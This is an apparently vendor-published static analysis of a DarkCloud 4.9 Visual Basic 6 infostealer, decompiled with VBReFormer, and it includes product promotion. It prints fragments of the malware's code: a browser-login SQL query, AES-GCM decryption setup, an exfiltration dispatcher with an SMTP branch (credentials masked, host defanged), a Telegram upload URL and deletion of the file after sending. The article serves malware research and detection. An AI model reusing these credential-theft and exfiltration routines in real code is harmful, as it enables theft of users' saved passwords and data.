DarkCloud 4.9 Decompiled with VBReFormer Gen 2 (7.x)

Malware Research 25 min read

A Visual Basic 6 executable can hold data-theft logic, several exfiltration transports and a readable configuration, and still resist interpretation by a plain strings extractor. The interesting values are scattered across VB metadata, Unicode strings, procedure arguments and runtime calls.

This study examines a sample that identifies itself as DarkCloud 4.9, starting from its binary and from the code reconstructed with VBReFormer Gen 2, generation 7.x. The goal is a malware analyst’s: understand which data is sought, follow its preparation and establish which exfiltration transport is configured.

The result goes beyond a list of strings: the analysis distinguishes one enabled SMTP transport from three FTP, HTTP and Telegram branches disabled in this build. It also recovers the SMTP server, the accounts, the password, the port, the SSL setting, the authentication mode and the staging directory.

The sample was never executed. Decompilation, YARA checks and extraction operated on its bytes only. Conclusions about functionality therefore describe the code and its static configuration, without claiming a network observation or a successful run.

To follow the analysis, open the configuration procedure in the VBReFormer demonstration, Module7.proc_46CD10. The Form1 form can also be browsed.

This study accompanies the announcement of VB5/VB6 executable support in Malva.RE. It sits alongside two features already presented on this site: VBA decompilation and VBA Stomping detection for Office documents, and configuration extraction for the families already supported.

1. The sample and the scope of the study

PropertyObservation
SHA-256367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e
Size471,040 bytes, i.e. 460 KiB
Formatx86 PE executable
Imported runtimeMSVBVM60.DLL
Observed sections.text, .data, .rsrc
Compilation recognized by VBReFormerNative code
Internal markerAgent: DARKCLOUD V4.9
Program executionNone

Version 4.9 comes from an internal string of the program. It is an identification element, not a guarantee that the claimed version is genuine.

The MSVBVM60.DLL import gives a first indication about the runtime. It is not an inventory of the APIs in use: VB declarations and late-bound calls can bring in operations that a reading limited to the PE import table would miss.

This study covers one native VB6 sample. VBReFormer Gen 2 (7.x) also makes it possible to approach VB5/VB6 executables compiled to P-code. The compilation form of each file still has to be identified: conclusions established on this native program do not automatically describe another sample.

2. Why VB5/VB6 decompilation needs dedicated handling

Classic VB5/VB6, VBA and VB.NET share part of their syntax, but not their execution format.

TechnologyWhat there is to analyze
VBAEmbedded project, macro streams and an Office-specific compiled representation
VB.NET.NET assembly, CLR metadata and IL code
Native VB5/VB6x86 PE, VB metadata, machine instructions and runtime conventions
P-code VB5/VB6VB metadata and instructions for the VB virtual machine

In a native VB6 program, the x86 disassembly has to be matched against the project structures, the objects and the runtime conventions in order to rebuild readable procedures. BSTR strings, VARIANT values and late-bound COM calls account for a large part of the gap between a sequence of instructions and a high-level operation.

The historical VB5! signature is a structural clue, not proof that the program was compiled with VB5: it can also be found in a VB6 executable. The analyst has to relate it to the PE format, the runtime references and the other project information.

The output remains a reconstruction. Local names, original comments and some project information cannot be recovered as if they had been stored in full in the executable. Names such as proc_46CD10 or g_471034 make it possible to navigate the analysis; they must not be presented as the original names chosen by the author.

3. YARA: a hunting entry point, then a dedicated analysis

The Hunt_DarkCloud_Stealer_Variants rule was published by Evelyne Diaz Araque at Stairwell on August 21, 2025. It targets DarkCloud and artifacts with similar capabilities; its hunting purpose requires corroborating a match with other elements of the file. Rule and context published by Stairwell.

It offers three ways to match: at least six indicators from the $s* group; one marker from the $d* group together with at least three $t* strings; or at least four $c* indicators.

The test, run with YARA 4.1.1 without altering the strings, their modifiers or the condition, gives:

GroupIndicators presentAssociated conditionResult
$s*14 / 14At least 6Satisfied
$d*0 / 6At least 1, together with $t*Not satisfied
$t*0 / 6At least 3, together with $d*Not satisfied
$c*0 / 6At least 4Not satisfied

The three conditions are alternatives: the absence of matches in the other groups does not cancel the match obtained with the fourteen $s* indicators.

Encodings matter. A string present in UTF-16LE is not necessarily recognized by an ascii search. Likewise, fullword enforces a word boundary: widening a rule by removing its modifiers would change its reach. Interpreting a match has to respect these distinctions.

For the analyst, the match is a starting point. The version marker, the VB6 references, the collection routines and the exfiltration procedure then provide corroborating elements that are independent of the YARA result alone.

4. What VBReFormer reconstructed

The project export contains the following files:

FileRole in the export
Project1.vbpReconstructed description of the VB project
Form1.frmForm, properties and event handlers
Form1.frxBinary resources attached to the form
Module1.basCredential collection and processing routines
Module2.basInitialization, staging, utilities and cryptographic processing
Module3.basContact collection and preparation
Module5.basRoutines reading mail client data
Module7.basExfiltration routing and transport implementations
Export companion filesReading aids for the reconstructed project and flagging of non-recovered elements
EXPORT-NOTES.txtDiagnostics and non-recovered information

That is 11 files, eight of which are code views. Those eight views are five application modules, one form and two generated helper modules: they must not be mistaken for eight original malware modules.

The value of this export is to make the routines browsable in context: the form events lead to the initialization, the collection modules prepare files and the transport module receives the values needed for sending.

In the excerpts below, procedures keep the names from the export. Cuts are announced; sensitive identifiers are masked.

5. From the invisible form to the collection

5.1. The form entry point

The Form1.frm file contains a form whose initial properties include Visible = 0 and ShowInTaskbar = 0. The presence of a VB form therefore does not imply an immediately visible interface.

Its load event leads to the initialization:

Private Sub Form_Load()
    On Error Resume Next
    Module2.proc_45E960
End Sub

Excerpt from Form1.frm, procedure Form_Load, unmodified.

The On Error Resume Next error handling is preserved in the reconstructed code. Its presence does not allow one to conclude that the following operations succeed: it can also hide their failures.

Form1 in VBReFormer Online: Form_Load and the five timers, source of Timer5_Timer

Form1 in VBReFormer Online: the project tree exposes Form_Load and the five timers; the source shows Form_Load, which starts the initialization, and Timer5_Timer, which walks the staging directory by label. Unretouched capture.

5.2. A user-dependent staging directory

The Module2.proc_45E960 procedure builds this path:

g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))

Line extracted from Module2.bas, procedure proc_45E960.

The symbolic representation useful to the report is:

%AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%

To document the behavior, these variables must be kept in symbolic form. The concrete path depends on the user and the machine on which the malware would run. Replacing it with the analysis workstation’s profile would lose that distinction.

The initialization also looks for winsqlite3.dll and provides a fallback branch involving vbsqlite3.dll and a Picture2 resource. The reconstructed staging path must be distinguished from the absolute library paths present in other VB declarations.

Finally, two visible calls connect the initialization to the collection routines:

Module1.proc_4452A0
Module3.proc_468300

Two lines selected from Module2.proc_45E960.

5.3. Browser credentials: SQLite and cryptographic primitives

In Module1.bas, the reconstructed strings and operations refer in particular to the Login Data and Web Data databases. The following query makes the target of one routine explicit:

ErrStr = "SELECT origin_url, username_value, password_value FROM logins"

Line extracted from Module1.proc_44B7E0.

The code also contains the reading of Local State and of the os_crypt / encrypted_key fields. Other routines call CryptUnprotectData and the CNG APIs, including BCryptOpenAlgorithmProvider, BCryptSetProperty and BCryptDecrypt.

The excerpt below shows the AES-GCM parameters visible when the processing is initialized:

If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
    ' Rest of the procedure omitted from this excerpt.
End If

Abridged excerpt from Module2.proc_45DBF0; the cut comment is editorial.

These observations establish that reading and decryption paths exist in the program. They do not demonstrate that the sample could recover every secret from every browser version. DPAPI generally depends on the protection context, notably the user and the machine; analyzing the malware did not involve decrypting victim data. Microsoft documentation for CryptUnprotectData.

5.4. Contacts and files prepared for sending

Module3.proc_468300 calls routines from Module5, then prepares files whose prefixes include:

A contact-collection branch follows this sequence:

g_471064 = Module5.proc_4696A0()

If g_471064 <> vbNullString Then
    ' Path construction and result writing omitted.
    Module7.proc_46CD10 var_28, var_2C
    Sleep 1000
End If

Abridged excerpt from Module3.proc_468300. The intermediate lines were replaced by an editorial comment.

The exfiltration procedure thus receives a label and a file path. The non-empty string condition matters: the code prepares the sending when a collection routine returned a result.

5.5. A timer also schedules file searches

Form1.Timer5_Timer increments a counter, then calls a routine with the labels Cookies, Contacts, Screenshot and KeyData before resetting the counter to zero.

Two misreadings should be avoided. A threshold of 1000 events is not a demonstrated period of 1000 ms. Event delivery depends on how timers and the message loop behave; Windows also constrains timing. Microsoft documentation for SetTimer.

Next, these labels are not enough to prove that every file-producing mechanism works in this build. Module2.proc_45E510 walks the names present in the staging directory and calls the dispatcher for those matching the requested label. It is a file selection and sending mechanism, not by itself proof of a working keylogger or screen capture.

6. The configuration is read in the exfiltration dispatcher

The central procedure is Module7.proc_46CD10. Its code contains four branches, but their constant conditions determine which ones are enabled.

The behavior can be checked in the public view of this configuration procedure.

Procedure Module7.proc_46CD10 in VBReFormer Online: disabled FTP branch and enabled SMTP branch, credentials masked

VBReFormer Online demonstration, Module7.proc_46CD10, lines 15 to 30: the disabled FTP branch with its markers, then the enabled SMTP branch. Capture retouched before publication: the four variables whose name embedded a credential are renamed sValeurMasquee1 to sValeurMasquee4, their values replaced with <masqué>, the host defanged. The rest of the display is unchanged.

The following fragment keeps the structure of the dispatcher. SMTP variables whose names revealed identifiers were renamed; the accounts, the server and the password were replaced with redaction markers. The var_38 and var_4C parameters and the procedure names are preserved.

If 0 = -1 Then
    sStrFtpPass = "@StrFtpPass"
    sStrFtpUser = "@StrFtpUser"
    sStrFtpServer = "@StrFtpServer"
    proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If

If -1 = -1 Then
    var_38 = 0
    var_4C = 587
    smtpPassword = "<REDACTED_PASSWORD>"
    smtpUsername = "<REDACTED_SMTP_ACCOUNT>"
    smtpServer = "<SMTP_HOST>"
    smtpRecipient = "<REDACTED_RECIPIENT>"
    proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If

If 0 = -1 Then
    sGateUrl = "@GateUrl"
    proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If

If 0 = -1 Then
    sChatID = "@ChatID"
    sStrBotToken = "@StrBotToken"
    proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If

In VB, the usual Boolean values are False = 0 and True = -1. Here the comparisons have a constant result: 0 = -1 is false, while -1 = -1 is true. These representations are consistent with the VARIANT_BOOL conventions documented by Microsoft. VARIANT types and associated constants.

TransportDispatcher conditionState for this buildObserved values
FTP0 = -1DisabledBuilder markers
SMTP-1 = -1EnabledPopulated parameters
HTTP0 = -1Disabled@GateUrl
Telegram0 = -1Disabled@StrBotToken and @ChatID

The structure and the markers are consistent with an agent produced by a builder offering several output modes. This is an inference from the code: it requires neither access to the builder nor the assumption that all these modes are used at the same time.

7. SMTP: what the source reveals and what the binary completes

7.1. Carrying the arguments to the CDO processing

The dispatcher passes eight arguments to proc_46DBA0. Their use inside the procedure ties the recovered values to their roles: recipient, server, sender and authentication account, password, subject, file, port and SSL setting.

A few lines of the procedure make the intent readable:

var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send

Selected lines from Module7.proc_46DBA0; the intermediate instructions are not shown.

Procedure Module7.proc_46DBA0 in VBReFormer Online: CDO configuration and unreconstructed late-bound calls

Module7.proc_46DBA0 in VBReFormer Online: CDO configuration, unreconstructed late-bound calls flagged as comments, subject built from COMPUTERNAME and USERNAME. Sensitive values only appear there as arguments. Unretouched capture.

In the enabled branch of this build, the sending mechanism uses a mail configuration. The SMTP account, the sender and the recipient have distinct roles, even though two fields carry the same value here. Merging them into a plain list of addresses would lose the meaning of the procedure.

7.2. Not inventing an unreconstructed COM call

For some CDO settings, the export flags a limit:

' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1

Comment actually present in Module7.proc_46DBA0. The French wording (“runtime not reconstructed”) is the engine’s own diagnostic, quoted verbatim.

This comment is an invitation to go back to the disassembly. The analyst has to establish which field is set and with what type of value before translating this call into a high-level assignment. The proximity of a password, by itself, does not settle that question.

Near the reference to http://schemas.microsoft.com/cdo/configuration/smtpauthenticate, the disassembly reads in particular:

0046e1b3  mov eax, 0x444670
0046e1b8  mov dword ptr [ebp - 0xdc], eax
0046e1be  mov ecx, 8
0046e1c3  mov dword ptr [ebp - 0xe4], ecx
0046e1c9  mov dword ptr [ebp - 0xfc], 1
0046e1d3  mov dword ptr [ebp - 0x104], 2

Instructions extracted from the reference binary. In this file, 0x444670 designates the CDO field string; these addresses are not universal DarkCloud constants.

Assembler view of Module7.proc_46DBA0 in VBReFormer Online: __vbaVarLateMemCallSt call then VARIANT of type 2 and value 1

Assembler view of the same procedure in VBReFormer Online: the __vbaVarLateMemCallSt call (line 432), then the 0x444670 string and the VARIANT of type 2, value 1 (lines 433 to 438). Unretouched capture.

The pair carrying type 2 and value 1 corresponds to a numeric VT_I2 VARIANT holding 1. Type 8 designates a BSTR. This reading of the types is supported by the VARENUM documentation.

For CDO, smtpauthenticate=1 corresponds to the cdoBasic mode. The value is recovered from the binary; it is not inferred from the mere presence of a password. Microsoft CdoProtocolsAuthentication enumeration.

This reading ties together three observations from the malware: a reference to the CDO field name, the preparation of a BSTR string and a numeric value passed to the operation. It provides a verifiable justification for the authentication setting. On another file, the addresses and the layout of the instructions will have to be examined again.

7.3. The recovered configuration

FieldPublished result
TransportSMTP enabled
Servermail[.]mokasco[.]com, defanged form
Port587
SMTP accountPresent in clear text in the file; masked here
SenderSame value as the account in this routine; masked
RecipientPresent in clear text; masked
PasswordPresent in clear text; masked
SSL settingfalse
Authentication1, corresponding to cdoBasic

The host is a value extracted from the binary, not a statement about its current activity or about the identity of the malware author. A configured domain name does not attribute the operation to its owner.

Likewise, UseSsl=false and port 587 describe static parameters. Without execution or network capture, we observed neither an actual negotiation, nor a successful authentication, nor the reception of a message. The article therefore does not present a network exchange as if it had been measured.

8. Transports present but disabled

The other procedures remain useful to understand the program and to relate variants to one another.

Procedure Module7.proc_46CD10 in VBReFormer Online: disabled HTTP and Telegram branches with their builder markers

Same procedure, lines 32 to 40: the HTTP and Telegram branches, disabled by 0 = -1, with their @GateUrl, @ChatID and @StrBotToken markers. Unretouched capture.

The FTP path uses InternetOpenA and InternetConnectA with port 21, then FtpPutFileA. Its presence explains the @StrFtpServer, @StrFtpUser and @StrFtpPass markers. In this dispatcher, the branch is false and the parameters stayed as markers.

The HTTP path builds a URL from a gateway and an ?id= parameter, then uses WinINet calls to send. @GateUrl is a placeholder to be replaced, not an operational URL.

The Telegram procedure contains a recognizable construction:

var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)

Line extracted from Module7.proc_46E5A0.

Procedure Module7.proc_46E5A0 in VBReFormer Online: building the api.telegram.org URL

Module7.proc_46E5A0 in VBReFormer Online: the Telegram route exists in the code, but the dispatcher never calls it in this build. Unretouched capture.

It is associated with a multipart upload. However, the @StrBotToken and @ChatID values were not replaced in the configuration under study, and the dispatcher call is disabled. The existence of this string therefore does not justify classifying api.telegram.org as the active exfiltration infrastructure of this sample.

The end of the dispatcher also contains:

If proc_46CD10 = -1 Then
    Kill arg_C
End If

Excerpt from Module7.proc_46CD10.

The code expresses the deletion of the file passed as an argument after a positive transport result. It does not demonstrate self-deletion of the executable: here arg_C is the file to transmit.

9. Establishing the configuration from the role of the values

A strings search can recover a domain, e-mail addresses, a password and builder markers. The reverse engineering work consists in tying these values to a precise branch and a precise operation.

In this case, the call to Module7.proc_46DBA0 provides a concrete reading grid:

Procedure parameterRole established by its use
arg_8Recipient of the message
arg_CSMTP server
arg_10SMTP account, also used as the sender value
arg_14Password passed to the sending configuration
arg_18Label used in the subject
arg_1CPath of the file to attach
arg_20SMTP port
arg_24Value of the SSL setting

This distinction explains why an authentication account is not necessarily the recipient of the data. It also makes it possible to separate the fixed parameters of this build, such as the server and the port, from the information assembled at collection time, such as the subject and the file path.

The following configuration is an anonymized analysis summary, with a defanged host. It is not the description of a software interface:

{
  "family": "DarkCloud",
  "declared_version": "4.9",
  "analysis": "static",
  "staging_directory": "%AppData%\\Microsoft\\Windows\\Templates\\%COMPUTERNAME%-%USERNAME%",
  "transports": {
    "smtp": {
      "enabled": true,
      "server_defanged": "mail[.]mokasco[.]com",
      "port": 587,
      "username": "<REDACTED>",
      "sender": "<REDACTED>",
      "recipient": "<REDACTED>",
      "password": "<REDACTED>",
      "use_ssl": false,
      "authentication": 1
    },
    "ftp": { "enabled": false },
    "http": { "enabled": false },
    "telegram": { "enabled": false }
  }
}

Populated values, environment-dependent expressions, unreplaced markers and still undetermined elements must be kept separate. An established transport configuration does not mean that the whole logic of the malware is known.

10. Why VB6 is particularly hard to decompile

10.1. The runtime hides part of the meaning

An x86 disassembly shows instructions, addresses and calls. In a VB6 program, part of their meaning depends on the runtime’s conventions: type conversion, value construction, object handling, string management and member calls.

The __vbaLateCallSt comment met in the SMTP procedure illustrates this problem. The name of the runtime primitive does not by itself reveal that a CDO property configures an authentication. The targeted object, the property and the arguments have to be identified.

For DarkCloud, this difficulty has a direct effect on the analysis: a misreading can turn a sending setting into an unknown value, or assign to one parameter the role of its neighbor. Understanding the VB6 runtime is therefore necessary to account for the collection and exfiltration operations.

10.2. An address is not enough to know the type of a datum

In x86, an integer, a pointer, a handle and a reference to a datum can occupy slots of the same size. Their interpretation depends on the context.

VB6 adds its own conventions. A BSTR represents a string with an associated length; a VARIANT carries a type and a value; a byte array does not read like a zero-terminated string. The CStr and StrConv conversions or the VarPtr uses observed in DarkCloud move data between these representations.

In the cryptographic routines, the analyst must thus distinguish the reference to a buffer, its size and the result of the operation. In the SMTP transport, they must distinguish a Boolean represented by 0 or -1 from a numeric value such as port 587 or authentication mode 1. The disassembly of the VARIANT value shown above explains why this distinction is decisive.

10.3. The PE entry point is not the whole logic of the program

A reading centered on the executable’s entry point alone does not fully describe an event-driven program. The loading of a form and the events of its controls can lead to important procedures.

In this sample, Form_Load triggers the initialization, while Timer5_Timer organizes a recurring selection of files. The properties of Form1 also indicate a form that is initially invisible and absent from the taskbar.

Objects and resources are therefore not incidental to the analysis. The reference to Picture2 in a SQLite-related fallback branch also justifies examining the form’s resources, even though no graphical display is needed for the collection.

10.4. Native and P-code are two different problems

The term “VB6 program” is not enough to choose a reading method. A native compilation leads to x86 instructions; a P-code compilation calls for a reading of the VB virtual machine’s instructions.

In both cases, the analyst looks for the same answers: which data is targeted, how it is transformed and which destination is used. The path to the answers differs. This is why merely recognizing the runtime does not replace identifying the compilation form and examining the corresponding code.

10.5. A readable reconstruction remains a piece to interpret

Original local names and comments do not reappear automatically from an executable. Working names are necessary to make the result navigable. Some expressions or structures can also remain incomplete.

The right reading consists in starting from a procedure, following its calls, noting the significant arguments and going back to the binary when an important conclusion is not sufficiently supported. DarkCloud’s CDO setting is an example of this approach: the reconstructed text locates the operation, and the native instructions bring an additional element of proof.

11. What VBReFormer Gen 2, 7.x versions, brings

11.1. Finding the program behind the instructions

For this type of study, the use of VBReFormer Gen 2 (7.x) is indispensable to the approach presented: it gives access to a representation of the program in which the forms, the procedures and their calls can be studied together.

In DarkCloud, this makes it possible to move from Form1 to Module2.proc_45E960, then from the collection routines to Module7.proc_46CD10. The question “where does the data go?” is then handled from an identifiable procedure, its conditions and its arguments.

The contribution is particularly visible in the dispatcher: four transports appear in the file, but reading the constant comparisons establishes that only one is enabled for this build. The list of strings, by itself, would have kept four hypotheses.

VBReFormer Online: reconstructed project tree of DarkCloud and source of procedure Module7.proc_46CD10, credentials masked

Overview of the demonstration: the reconstructed project tree, modules, Module7 procedures, resources and structures, and the source of proc_46CD10. Retouched capture: credentials masked as above.

11.2. Working on recognizable procedures and objects

The Gen 2 generation, in the 7.x range, is considered here through the results useful to the reverse engineer: browsing the reconstructed code, navigating the project, reading the forms and their resources, and confronting them with the low-level views.

The DarkCloud case provides several concrete criteria to judge this contribution:

Analysis questionCode element that answers it
Which event launches the initialization?Form1.Form_Load
Where are the results prepared?Construction of g_471034 in Module2
Which kinds of data are sought?SQLite queries, profile paths and contact routines
Which transport is selected?Conditions of Module7.proc_46CD10
What do the accounts found correspond to?Use of the arguments in the SMTP procedure
What becomes of the file after a positive result?Kill arg_C in the dispatcher

These answers make a well-argued analysis of the malware possible. They also make it possible to share a finding with another analyst by pointing to a procedure and an instruction, rather than to an interpretation without context.

11.3. Understanding the logic, not just extracting literals

The presence of api.telegram.org in the file legitimately draws attention. The reconstructed code nevertheless shows unreplaced markers and a false condition for that branch. Conversely, the SMTP values are used in a true branch and passed to a sending procedure.

This is where VBReFormer Gen 2 (7.x) brings an essential value: relating the data to the logic that uses it. A key, an account, a URL or a file name take their meaning from their position in the program.

The scope of this study remains precise: the excerpts demonstrate an analysis of one native VB6 DarkCloud. They are neither a quantified comparison with earlier generations of the software, nor a guarantee of complete restitution of every VB5/VB6 executable.

12. What DarkCloud reveals beyond its configuration

12.1. A collection agent organized around files

The contact routines and the file selector both lead to Module7.proc_46CD10. The transport receives a label and a path, while the collection prepares the data upstream.

This organization explains the place of the staging directory. It makes it possible to relate the Contacts_Thunderbird_ file names or the Cookies and KeyData selections to one and the same output function, without confusing the routines that produce the data with those that transmit it.

The label also contributes to the presentation of the message. In one branch of the SMTP procedure, the subject combines this label, COMPUTERNAME, USERNAME and an additional global value. The code indicates an intent to associate the results with their environment of origin; the exact role of the last value must not be invented.

12.2. Three cryptographic questions not to be confused

The AES-GCM and DPAPI calls do not mean that the SMTP configuration is encrypted. Three different subjects appear in this study:

SubjectObservation in the sample
Protection of the targeted secretsRoutines involving the decryption APIs and the profile data
Storage of the exfiltration parametersSMTP accounts and password present in clear text in this file
Protection of the network transportSSL setting disabled in the configuration; actual exchange not observed

An analysis that concluded “AES-encrypted configuration” from the mere presence of BCryptDecrypt would therefore miss the role of these procedures. The inputs and outputs of each routine have to be followed to determine which data it processes.

12.3. Build choices preserved in the binary

The four transport branches and the remaining markers are useful for comparing samples. Another build could populate the Telegram channel or the HTTP gateway while keeping a large part of the collection code.

This possibility justifies separating family characteristics from the configuration of an instance. The name of a transport met in a file, the presence of its code and its actual activation are three different observations.

The SMTP server of this case is thus an indicator specific to the configuration examined. It must not become an indispensable condition for recognizing the whole DarkCloud family.

12.4. Deleting the file is not a delivery receipt

The dispatcher plans to delete arg_C when the transport has returned a positive result. That result expresses the path intended by the program; it does not replace the observation of an actual delivery to the destination.

Likewise, deleting the file to transmit does not mean erasing the executable or every local trace. The object concerned must be identified by the role of the parameter, not merely by the presence of the Kill instruction.

12.5. The limits of this static finding

The elements established are the version marker, the routines present, the dispatcher’s arguments and the parameters of the SMTP branch. The study involves neither a connection to the extracted infrastructure, nor a trial of the credentials, nor the sending of a message.

Fragments of the reconstructed code remain incomplete. A value or an operation that was not recovered must remain an open question until it is settled by verifiable elements of the file.

Finally, the names Screenshot and KeyData describe here categories of files sought by a routine. To conclude that a screen capture or a keylogger is functional, the producing procedures, their call conditions and their effects would have to be established. This distinction avoids attributing to the build every function evoked by its strings.

13. Research points for analysts

The value of this case lies in the combination of the clues and of their roles.

ElementUsefulness and caution
File SHA-256Identifies exactly the sample studied
Agent: DARKCLOUD V4.9Internal marker corroborating the family analysis
mail[.]mokasco[.]comConfigured SMTP host; no conclusion about its current status
Customized Microsoft\Windows\Templates pathStaging clue to correlate with other observations
vbsqlite3.dll and SQLite referencesClues of data reading; not proof of malice in isolation
@GateUrl, @StrBotToken, @ChatIDBuilder markers; not operational network IOCs

To look for related behaviors, an analyst can correlate an unexpected VB6 program, access to profile databases, the creation of staging files and SMTP communications. None of these characteristics, taken alone, is exclusive to DarkCloud.

Crypto API names, CDO schemas and legitimate service domains must not automatically become malicious IOCs. The state of the branch, the effective value of the parameters and their provenance provide the necessary context.

14. Exploring the case

The Module7.proc_46CD10 configuration view lets you follow the four transport branches and the difference between populated parameters and builder markers.

The Form1 view lets you start from the form events and work back to the initialization and the collection routines.

The Malva.RE report for this sample presents the reconstructed sources and the configuration read in the code, as they appear to the analyst. It is the most direct starting point to redo the reading proposed here.

The DarkCloud Stealer family page on Malva.RE gathers all the samples of this family analyzed by the platform. It makes it possible to compare the configuration read here with that of other builds and to check, case by case, which transport is actually enabled.

For an analyst reading a Malva.RE report, the value of having access to the decompilation is being able to confront the results with the behavior described by the procedures. The decisive point remains traceability: which routine collects the data, which condition allows the sending and which arguments designate its destination.

References

Try Malva.RE on a real malware sample

Fast and accurate malware configuration extraction

  • Static analysis in under 10 seconds
  • VBA, PowerShell and AutoIt deobfuscation (paid plans)
  • Reports designed for SOC and malware analysts

Free plan: submissions and reports are public. Private from the Essential plan.

Tags: DarkCloud VBReFormer VBReFormer Gen 2 Visual Basic 6 VB5 VB6 YARA Static Analysis Malware Configuration
// Built in Savoie

Designed and built in Savoie by Yneos

Malva.RE is published by Yneos, a French cybersecurity and secure software development company based at Savoie Technolac (Le Bourget-du-Lac, France).

Discover Yneos →

// Malva.RE

Try Malva.RE on a real malware sample

Understand malware structure and behavior without execution

Try for free

Free plan: public reports

Request a demo →